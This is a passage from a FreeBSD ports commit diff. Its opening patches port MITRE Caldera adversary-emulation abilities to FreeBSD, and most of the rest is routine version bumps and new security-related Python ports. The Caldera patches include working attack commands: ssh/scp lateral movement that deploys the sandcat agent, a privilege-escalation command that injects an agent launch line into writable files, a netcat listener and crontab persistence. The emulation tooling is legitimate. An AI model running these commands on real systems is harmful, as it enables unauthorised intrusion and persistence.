#{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go' + payloads: + - sandcat.go-linux ++ freebsd: ++ sh: ++ command: | ++ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-freebsd #{remote.ssh.cmd}:~/sandcat.go && ++ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &' ++ cleanup: | ++ ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go' ++ payloads: ++ - sandcat.go-freebsd + singleton: True diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml new file mode 100644 index 00000000000..a396438d78e --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/lateral-movement/4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/lateral-movement/4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml +@@ -54,4 +54,12 @@ + ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'rm -f sandcat.go' + payloads: + - sandcat.go-linux ++ freebsd: ++ sh: ++ command: | ++ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-freebsd #{remote.ssh.cmd}:~/sandcat.go ++ cleanup: | ++ ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'rm -f sandcat.go' ++ payloads: ++ - sandcat.go-freebsd + singleton: True diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml new file mode 100644 index 00000000000..85d98fa7d6c --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/privilege-escalation/10681f2f-be03-44af-858d-f2b0812df185.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/privilege-escalation/10681f2f-be03-44af-858d-f2b0812df185.yml +@@ -18,3 +18,9 @@ + find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF "54NDC47_SCRIPT" "{}" || echo "#54NDC47_SCRIPT\n" "chmod +x sandcat.go-linux && sandcat.go-linux" >> "{}"; ls "{}" ' \; | echo "complete" + payloads: + - sandcat.go ++ freebsd: ++ sh: ++ command: | ++ find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF "54NDC47_SCRIPT" "{}" || echo "#54NDC47_SCRIPT\n" "chmod +x sandcat.go-freebsd && sandcat.go-freebsd" >> "{}"; ls "{}" ' \; | echo "complete" ++ payloads: ++ - sandcat.go diff --git a/security/caldera/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml b/security/caldera/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml new file mode 100644 index 00000000000..6ff46df63b9 --- /dev/null +++ b/security/caldera/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml @@ -0,0 +1,11 @@ +--- plugins/training/data/abilities/training/18702cd3-8e98-4eb7-99d4-0d2816926af1.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/18702cd3-8e98-4eb7-99d4-0d2816926af1.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + touch ~/.bashrc; diff --git a/security/caldera/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml b/security/caldera/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml new file mode 100644 index 00000000000..48a3bc429da --- /dev/null +++ b/security/caldera/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml @@ -0,0 +1,17 @@ +--- plugins/training/data/abilities/training/6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml +@@ -7,11 +7,11 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + nc -nlv 7011 & + darwin: + sh: + command: | +- nc -nlv 7011 & +\ No newline at end of file ++ nc -nlv 7011 & diff --git a/security/caldera/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml b/security/caldera/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml new file mode 100644 index 00000000000..9213235c742 --- /dev/null +++ b/security/caldera/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml @@ -0,0 +1,13 @@ +--- plugins/training/data/abilities/training/e13c4e45-d19f-440e-8a72-fad728a1789c.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/e13c4e45-d19f-440e-8a72-fad728a1789c.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | +- rm -f /var/mail/victim +\ No newline at end of file ++ rm -f /var/mail/victim diff --git a/security/caldera/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml b/security/caldera/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml new file mode 100644 index 00000000000..3861a5c894b --- /dev/null +++ b/security/caldera/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml @@ -0,0 +1,15 @@ +--- plugins/training/data/abilities/training/f0d77555-fa79-4884-8afd-73d39f887879.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/f0d77555-fa79-4884-8afd-73d39f887879.yml +@@ -7,9 +7,9 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mv ./phish_email.txt /var/mail/victim + payloads: +- - phish_email.txt +\ No newline at end of file ++ - phish_email.txt diff --git a/security/caldera/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml b/security/caldera/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml new file mode 100644 index 00000000000..114e8f3ba00 --- /dev/null +++ b/security/caldera/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml @@ -0,0 +1,18 @@ +--- plugins/training/data/abilities/training/fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -l > new_crontab; +@@ -26,4 +26,4 @@ + command: | + $action = New-ScheduledTaskAction -Execute "calc.exe"; + $trigger = New-ScheduledTaskTrigger -Daily -At 9am; +- Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "FindMe" -Description "Pretend malicious scheduled action"; +\ No newline at end of file ++ Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "FindMe" -Description "Pretend malicious scheduled action"; diff --git a/security/caldera/files/patch-templates_abilities.html b/security/caldera/files/patch-templates_abilities.html new file mode 100644 index 00000000000..1a74bbb85a5 --- /dev/null +++ b/security/caldera/files/patch-templates_abilities.html @@ -0,0 +1,11 @@ +--- templates/abilities.html.orig 2022-09-17 15:28:09 UTC ++++ templates/abilities.html +@@ -103,7 +103,7 @@ +

+ +

diff --git a/security/caldera/files/patch-templates_adversaries.html b/security/caldera/files/patch-templates_adversaries.html new file mode 100644 index 00000000000..4ca0e76f181 --- /dev/null +++ b/security/caldera/files/patch-templates_adversaries.html @@ -0,0 +1,20 @@ +--- templates/adversaries.html.orig 2022-09-17 15:28:09 UTC ++++ templates/adversaries.html +@@ -143,7 +143,7 @@ + + + +@@ -262,7 +262,7 @@ + | + | + | + + diff --git a/security/caldera/files/patch-templates_agents.html b/security/caldera/files/patch-templates_agents.html new file mode 100644 index 00000000000..82828a0e975 --- /dev/null +++ b/security/caldera/files/patch-templates_agents.html @@ -0,0 +1,32 @@ +--- templates/agents.html.orig 2022-09-17 15:28:09 UTC ++++ templates/agents.html +@@ -143,6 +143,11 @@ + +
darwin + ++
++ ++
freebsd ++
++ + + + +@@ -174,7 +179,7 @@ +
+ + +- ++ + + + +@@ -193,7 +198,7 @@ +
+ + +- ++ + + + diff --git a/security/caldera/files/pkg-message.in b/security/caldera/files/pkg-message.in new file mode 100644 index 00000000000..f97eaf3e8be --- /dev/null +++ b/security/caldera/files/pkg-message.in @@ -0,0 +1,53 @@ +[ +{ type: install + message: < - -.if ${SSL_DEFAULT} == base -BROKEN_FreeBSD_12= incomplete definition of type 'struct X509_name_entry_st' -BROKEN_FreeBSD_13= incomplete definition of type 'struct X509_name_entry_st' -BROKEN_FreeBSD_14= incomplete definition of type 'struct X509_name_entry_st' -.endif - post-install: ${INSTALL_LIB} ${WRKSRC}/npesteid-firefox-plugin.so ${STAGEDIR}${PREFIX}/lib -.include +.include diff --git a/security/fizz/Makefile b/security/fizz/Makefile index e40a4e87708..c9ea21f87cb 100644 --- a/security/fizz/Makefile +++ b/security/fizz/Makefile @@ -1,6 +1,6 @@ PORTNAME= fizz DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 +DISTVERSION= 2023.05.01.00 CATEGORIES= security MAINTAINER= yuri@FreeBSD.org diff --git a/security/fizz/distinfo b/security/fizz/distinfo index e887e46940a..f1f807c9c66 100644 --- a/security/fizz/distinfo +++ b/security/fizz/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372450 -SHA256 (facebookincubator-fizz-v2023.04.24.00_GH0.tar.gz) = 60a7364f1123eff8564596a3bd3f72f72f3b086b5842cc11df7977a6e1f2f8b2 -SIZE (facebookincubator-fizz-v2023.04.24.00_GH0.tar.gz) = 652721 +TIMESTAMP = 1682966457 +SHA256 (facebookincubator-fizz-v2023.05.01.00_GH0.tar.gz) = 6b1cd959eb523a687fb4a9764ad7103107357c214f502b7ad4864832329c6287 +SIZE (facebookincubator-fizz-v2023.05.01.00_GH0.tar.gz) = 655712 diff --git a/security/fizz/pkg-plist b/security/fizz/pkg-plist index 88f477eac55..285e2419aac 100644 --- a/security/fizz/pkg-plist +++ b/security/fizz/pkg-plist @@ -27,6 +27,7 @@ include/fizz/crypto/Utils.h include/fizz/crypto/aead/AESGCM128.h include/fizz/crypto/aead/AESGCM256.h include/fizz/crypto/aead/AESOCB128.h +include/fizz/crypto/aead/AEGISCipher.h include/fizz/crypto/aead/Aead.h include/fizz/crypto/aead/ChaCha20Poly1305.h include/fizz/crypto/aead/IOBufUtil.h @@ -79,6 +80,7 @@ include/fizz/extensions/tokenbinding/TokenBindingServerExtension.h include/fizz/extensions/tokenbinding/Types.h include/fizz/extensions/tokenbinding/Utils.h include/fizz/extensions/tokenbinding/Validator.h +include/fizz/fizz-config.h include/fizz/protocol/Actions.h include/fizz/protocol/AsyncFizzBase.h include/fizz/protocol/BrotliCertificateCompressor.h diff --git a/security/keynote/Makefile b/security/keynote/Makefile index 301c5e8954e..78ad2e752c0 100644 --- a/security/keynote/Makefile +++ b/security/keynote/Makefile @@ -11,6 +11,10 @@ WWW= https://www1.cs.columbia.edu/~angelos/keynote.html LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENSE +DEPRECATED= Upstream last release in 2000 +EXPIRATION_DATE= 2023-05-28 +IGNORE= Requires upstream EOL OpenSSL 1.0.X routines + # gmake required to support parallel (-jX) builds USES= gmake ssl GNU_CONFIGURE= yes @@ -24,14 +28,6 @@ PORTDOCS= * OPTIONS_DEFINE= DOCS -.include - -.if ${SSL_DEFAULT} == base -BROKEN_FreeBSD_12= incomplete definition of type 'struct evp_pkey_st' -BROKEN_FreeBSD_13= incomplete definition of type 'struct evp_pkey_st' -BROKEN_FreeBSD_14= incomplete definition of type 'struct evp_pkey_st' -.endif - do-install: ${INSTALL_PROGRAM} ${WRKSRC}/keynote ${STAGEDIR}${PREFIX}/bin ${INSTALL_DATA} ${WRKSRC}/keynote.h ${STAGEDIR}${PREFIX}/include @@ -46,4 +42,4 @@ do-install-DOCS-on: ${INSTALL_DATA} ${WRKSRC}/HOWTO.add.crypto ${WRKSRC}/TODO \ ${WRKSRC}/doc/rfc*.txt ${STAGEDIR}${DOCSDIR} -.include +.include diff --git a/security/krb5-119/Makefile b/security/krb5-119/Makefile index 2ce7ca72df8..5b295da36e8 100644 --- a/security/krb5-119/Makefile +++ b/security/krb5-119/Makefile @@ -22,6 +22,8 @@ KERBEROSV_URL= http://web.mit.edu/kerberos/ USES= compiler:c++11-lang cpe gmake gettext-runtime \ gssapi:bootstrap,mit libtool:build localbase \ perl5 pkgconfig ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated RSA_ routines USE_CSTD= gnu99 USE_LDCONFIG= yes USE_PERL5= build diff --git a/security/libfprint/Makefile b/security/libfprint/Makefile index 7a800db07c4..320523b4efa 100644 --- a/security/libfprint/Makefile +++ b/security/libfprint/Makefile @@ -1,6 +1,6 @@ PORTNAME= libfprint PORTVERSION= 0.7.0 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= security MASTER_SITES= https://people.freedesktop.org/~anarsoul/ diff --git a/security/libpki/Makefile b/security/libpki/Makefile index 178ad059e79..a39ce22b650 100644 --- a/security/libpki/Makefile +++ b/security/libpki/Makefile @@ -15,6 +15,8 @@ LICENSE= APACHE20 LICENSE_FILE= ${WRKSRC}/COPYING USES= autoreconf gnome libtool ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0 or later USE_GITHUB= yes GH_ACCOUNT= openca USE_GNOME= libxml2 diff --git a/security/opencryptoki/Makefile b/security/opencryptoki/Makefile index 7ae3cc6d4bb..d2b72801240 100644 --- a/security/opencryptoki/Makefile +++ b/security/opencryptoki/Makefile @@ -43,6 +43,12 @@ PLIST_SUB= USERS="${USERS}" GROUPS="${GROUPS}" USERS= _pkcs11 GROUPS= _pkcs11 +.include + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif + post-patch: cd ${WRKSRC} && \ ${REINPLACE_CMD} 's,%%DLLDIR%%,${PREFIX}/lib/opencryptoki/stdll,' \ @@ -56,4 +62,4 @@ post-install: ${RMDIR} ${STAGEDIR}/var/run/opencryptoki/* \ ${STAGEDIR}/var/run/opencryptoki -.include +.include diff --git a/security/opie/Makefile b/security/opie/Makefile index 12ddcd226b3..89962434ee6 100644 --- a/security/opie/Makefile +++ b/security/opie/Makefile @@ -1,5 +1,5 @@ PORTNAME= opie -PORTVERSION= 1.20230106 +PORTVERSION= 1.20230501 CATEGORIES= security MAINTAINER= des@FreeBSD.org diff --git a/security/opie/distinfo b/security/opie/distinfo index 2a9840923e2..d1af1d1695d 100644 --- a/security/opie/distinfo +++ b/security/opie/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1673008144 -SHA256 (freebsd-opie-1.20230106_GH0.tar.gz) = 614a7b61d6e301e87512e43b0f447c20c241d0da1791673f70b520f3d99cf7f7 -SIZE (freebsd-opie-1.20230106_GH0.tar.gz) = 164408 +TIMESTAMP = 1682956712 +SHA256 (freebsd-opie-1.20230501_GH0.tar.gz) = 2a3fc5994b340f7e027a4dd0c418740d1d57467a950d0bfd9a2638ac7b9c804f +SIZE (freebsd-opie-1.20230501_GH0.tar.gz) = 164441 diff --git a/security/osslsigncode/Makefile b/security/osslsigncode/Makefile index fced955a147..2bffff52d40 100644 --- a/security/osslsigncode/Makefile +++ b/security/osslsigncode/Makefile @@ -1,35 +1,32 @@ PORTNAME= osslsigncode -PORTVERSION= 1.7.1 -PORTREVISION= 1 +PORTVERSION= 2.5 CATEGORIES= security devel -MASTER_SITES= SF/${PORTNAME}/${PORTNAME} -MAINTAINER= ports@FreeBSD.org +MAINTAINER= bofh@FreeBSD.org COMMENT= OpenSSL-based signcode utility -WWW= https://sourceforge.net/projects/osslsigncode/ +WWW= https://github.com/mtrojnar/osslsigncode -PLIST_FILES= bin/osslsigncode +LICENSE= GPLv3 +LICENSE_FILE= ${WRKSRC}/COPYING.txt -USES= pkgconfig ssl -GNU_CONFIGURE= yes +USES= cmake pkgconfig python ssl +USE_GITHUB= yes +GH_ACCOUNT= mtrojnar + +PLIST_FILES= bin/osslsigncode \ + share/bash-completion/completions/osslsigncode.bash OPTIONS_DEFINE= CURL GSF OPTIONS_DEFAULT= CURL GSF -CURL_CONFIGURE_WITH= curl -CURL_LIB_DEPENDS= libcurl.so:ftp/curl + GSF_DESC?= GSF support (enables signing of e.g. MSI files) -GSF_CONFIGURE_WITH= gsf + +CURL_LIB_DEPENDS= libcurl.so:ftp/curl +CURL_CONFIGURE_WITH= curl GSF_LIB_DEPENDS= libgsf-1.so:devel/libgsf - -.include - -.if ${SSL_DEFAULT} == base -BROKEN_FreeBSD_12= variable has incomplete type 'EVP_MD_CTX' (aka 'struct evp_md_ctx_st') -BROKEN_FreeBSD_13= variable has incomplete type 'EVP_MD_CTX' (aka 'struct evp_md_ctx_st') -BROKEN_FreeBSD_14= variable has incomplete type 'EVP_MD_CTX' (aka 'struct evp_md_ctx_st') -.endif +GSF_CONFIGURE_WITH= gsf post-patch: ${TOUCH} ${WRKSRC}/stamp-h1 ${WRKSRC}/config.h.in -.include +.include diff --git a/security/osslsigncode/distinfo b/security/osslsigncode/distinfo index 4d7d2e539a3..50a55292bea 100644 --- a/security/osslsigncode/distinfo +++ b/security/osslsigncode/distinfo @@ -1,2 +1,3 @@ -SHA256 (osslsigncode-1.7.1.tar.gz) = f9a8cdb38b9c309326764ebc937cba1523a3a751a7ab05df3ecc99d18ae466c9 -SIZE (osslsigncode-1.7.1.tar.gz) = 127631 +TIMESTAMP = 1682948672 +SHA256 (mtrojnar-osslsigncode-2.5_GH0.tar.gz) = 1b9229fa48c2694e23aa6f85b0e33767b18d4697f422629bb10abc67c0497e0d +SIZE (mtrojnar-osslsigncode-2.5_GH0.tar.gz) = 154984 diff --git a/security/p5-Crypt-OpenSSL-PKCS10/Makefile b/security/p5-Crypt-OpenSSL-PKCS10/Makefile index dc727d85b1b..84f9d5bf08e 100644 --- a/security/p5-Crypt-OpenSSL-PKCS10/Makefile +++ b/security/p5-Crypt-OpenSSL-PKCS10/Makefile @@ -17,4 +17,10 @@ USES= perl5 ssl USE_PERL5= configure MAKE_ARGS+= PASTHRU_INC=-I${OPENSSLINC} -.include +.include + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif + +.include diff --git a/security/p5-Filter-Crypto/Makefile b/security/p5-Filter-Crypto/Makefile index 0242122113f..41c36586f75 100644 --- a/security/p5-Filter-Crypto/Makefile +++ b/security/p5-Filter-Crypto/Makefile @@ -16,6 +16,8 @@ RUN_DEPENDS= p5-PAR-Packer>=0:devel/p5-PAR-Packer TEST_DEPENDS= p5-CPAN-Changes>=0:devel/p5-CPAN-Changes USES= perl5 ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Cannot detect OpenSSL 3.0.0 and later USE_PERL5= configure CONFIGURE_ARGS= --prefix-dir=${OPENSSLBASE} --defaults diff --git a/security/p5-GD-SecurityImage/Makefile b/security/p5-GD-SecurityImage/Makefile index 8c2750f1eb8..b2722dc6e13 100644 --- a/security/p5-GD-SecurityImage/Makefile +++ b/security/p5-GD-SecurityImage/Makefile @@ -1,6 +1,6 @@ PORTNAME= GD-SecurityImage PORTVERSION= 1.75 -PORTREVISION= 1 +PORTREVISION= 2 PORTEPOCH= 1 CATEGORIES= security perl5 MASTER_SITES= CPAN diff --git a/security/pam_ocra/Makefile b/security/pam_ocra/Makefile index aa3d74482fc..a20e5c0ada9 100644 --- a/security/pam_ocra/Makefile +++ b/security/pam_ocra/Makefile @@ -10,6 +10,8 @@ LICENSE= BSD2CLAUSE LICENSE_FILE= ${WRKSRC}/LICENSE USES= ssl uidfix +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated HMAC_ routines USE_GITHUB= yes GH_ACCOUNT= sg2342 diff --git a/security/py-flask-bcrypt/Makefile b/security/py-flask-bcrypt/Makefile new file mode 100644 index 00000000000..7e9f3652554 --- /dev/null +++ b/security/py-flask-bcrypt/Makefile @@ -0,0 +1,21 @@ +PORTNAME= Flask-Bcrypt +PORTVERSION= 1.0.1 +CATEGORIES= security www python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Flask extension that provides bcrypt hashing utilities for your application +WWW= https://github.com/maxcountryman/flask-bcrypt + +LICENSE= BSD2CLAUSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}Flask>0:www/py-flask@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}bcrypt>0:security/py-bcrypt@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-flask-bcrypt/distinfo b/security/py-flask-bcrypt/distinfo new file mode 100644 index 00000000000..5ee43c55a20 --- /dev/null +++ b/security/py-flask-bcrypt/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680277022 +SHA256 (Flask-Bcrypt-1.0.1.tar.gz) = f07b66b811417ea64eb188ae6455b0b708a793d966e1a80ceec4a23bc42a4369 +SIZE (Flask-Bcrypt-1.0.1.tar.gz) = 5996 diff --git a/security/py-flask-bcrypt/pkg-descr b/security/py-flask-bcrypt/pkg-descr new file mode 100644 index 00000000000..ae8d5a4a5a8 --- /dev/null +++ b/security/py-flask-bcrypt/pkg-descr @@ -0,0 +1,11 @@ +Flask-Bcrypt is a Flask extension that provides bcrypt hashing utilities for +your application. + +Due to the recent increased prevalence of powerful hardware, such as modern +GPUs, hashes have become increasingly easy to crack. A proactive solution to +this is to use a hash that was designed to be "de-optimized". Bcrypt is such a +hashing facility; unlike hashing algorithms such as MD5 and SHA1, which are +optimized for speed, bcrypt is intentionally structured to be slow. + +For sensitive data that must be protected, such as passwords, bcrypt is an +advisable choice. diff --git a/security/py-iris-check-module/Makefile b/security/py-iris-check-module/Makefile new file mode 100644 index 00000000000..76e7dab086e --- /dev/null +++ b/security/py-iris-check-module/Makefile @@ -0,0 +1,28 @@ +PORTNAME= iris-check-module +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= A simple processor module for IRIS +WWW= https://github.com/dfir-iris/iris-check-module + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}celery>0:devel/py-celery@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pyunpack>0:archivers/py-pyunpack@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}iris-module-interface>0:security/py-iris-module-interface@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= b939e036b44f63b810fe5ff43329fad52c6beaeb + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-check-module/distinfo b/security/py-iris-check-module/distinfo new file mode 100644 index 00000000000..6b10ee9d682 --- /dev/null +++ b/security/py-iris-check-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682825241 +SHA256 (dfir-iris-iris-check-module-v1.2.0-b939e036b44f63b810fe5ff43329fad52c6beaeb_GH0.tar.gz) = e04ba7d09df8cb3725524680ad149863305f9ad793bdbec005d34b791348c2cd +SIZE (dfir-iris-iris-check-module-v1.2.0-b939e036b44f63b810fe5ff43329fad52c6beaeb_GH0.tar.gz) = 5442 diff --git a/security/py-iris-check-module/pkg-descr b/security/py-iris-check-module/pkg-descr new file mode 100644 index 00000000000..d3daf19a6a3 --- /dev/null +++ b/security/py-iris-check-module/pkg-descr @@ -0,0 +1 @@ +An Iris Module that simply replies to every hooks diff --git a/security/py-iris-client/Makefile b/security/py-iris-client/Makefile new file mode 100644 index 00000000000..4cab4220400 --- /dev/null +++ b/security/py-iris-client/Makefile @@ -0,0 +1,27 @@ +PORTNAME= iris-client +DISTVERSION= 2.0.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python client for DFIR-IRIS +WWW= https://github.com/dfir-iris/iris-client + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}packaging>0:devel/py-packaging@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}deprecated>=0:devel/py-deprecated@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-client/distinfo b/security/py-iris-client/distinfo new file mode 100644 index 00000000000..c8e57ca500f --- /dev/null +++ b/security/py-iris-client/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680275854 +SHA256 (dfir-iris-iris-client-v2.0.0_GH0.tar.gz) = 244bb425a5d824b8b6ba5f0a6edebdb247b15f6cf2aa0238c311326f14f2f643 +SIZE (dfir-iris-iris-client-v2.0.0_GH0.tar.gz) = 2871406 diff --git a/security/py-iris-client/pkg-descr b/security/py-iris-client/pkg-descr new file mode 100644 index 00000000000..030ba8cef50 --- /dev/null +++ b/security/py-iris-client/pkg-descr @@ -0,0 +1,4 @@ +dfir_iris_client offers a Python interface to communicate with IRIS. + +It relies exclusively on the API, which means output of the methods are the +same as specified in the API reference. diff --git a/security/py-iris-evtx-module/Makefile b/security/py-iris-evtx-module/Makefile new file mode 100644 index 00000000000..e653b1c6852 --- /dev/null +++ b/security/py-iris-evtx-module/Makefile @@ -0,0 +1,29 @@ +PORTNAME= iris-evtx-module +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Example of IRIS module, handling EVTX files +WWW= https://github.com/dfir-iris/iris-evtx-module + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}celery>0:devel/py-celery@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pyunpack>0:archivers/py-pyunpack@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}evtx2splunk>0:textproc/py-evtx2splunk@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}iris-module-interface>0:security/py-iris-module-interface@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= 4845709c26bc1a5aa2528077749ec1f61985175f + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-evtx-module/distinfo b/security/py-iris-evtx-module/distinfo new file mode 100644 index 00000000000..bd170a6e52e --- /dev/null +++ b/security/py-iris-evtx-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682890639 +SHA256 (dfir-iris-iris-evtx-module-v1.2.0-4845709c26bc1a5aa2528077749ec1f61985175f_GH0.tar.gz) = 7ce45d2d8dd71ed4c8bac7d89f0bab300e2db3d3fecf5306c7a5691f735f186d +SIZE (dfir-iris-iris-evtx-module-v1.2.0-4845709c26bc1a5aa2528077749ec1f61985175f_GH0.tar.gz) = 17041 diff --git a/security/py-iris-evtx-module/pkg-descr b/security/py-iris-evtx-module/pkg-descr new file mode 100644 index 00000000000..aa7c5b2c9ae --- /dev/null +++ b/security/py-iris-evtx-module/pkg-descr @@ -0,0 +1,3 @@ +An interface module for Evtx2Splunk and Iris in order to ingest Microsoft EVTX +log files. The module is installed on IRIS by default. In case you needed a +procedure to install it by yourself, you can follow the one below. diff --git a/security/py-iris-intelowl-module/Makefile b/security/py-iris-intelowl-module/Makefile new file mode 100644 index 00000000000..85cdbef848a --- /dev/null +++ 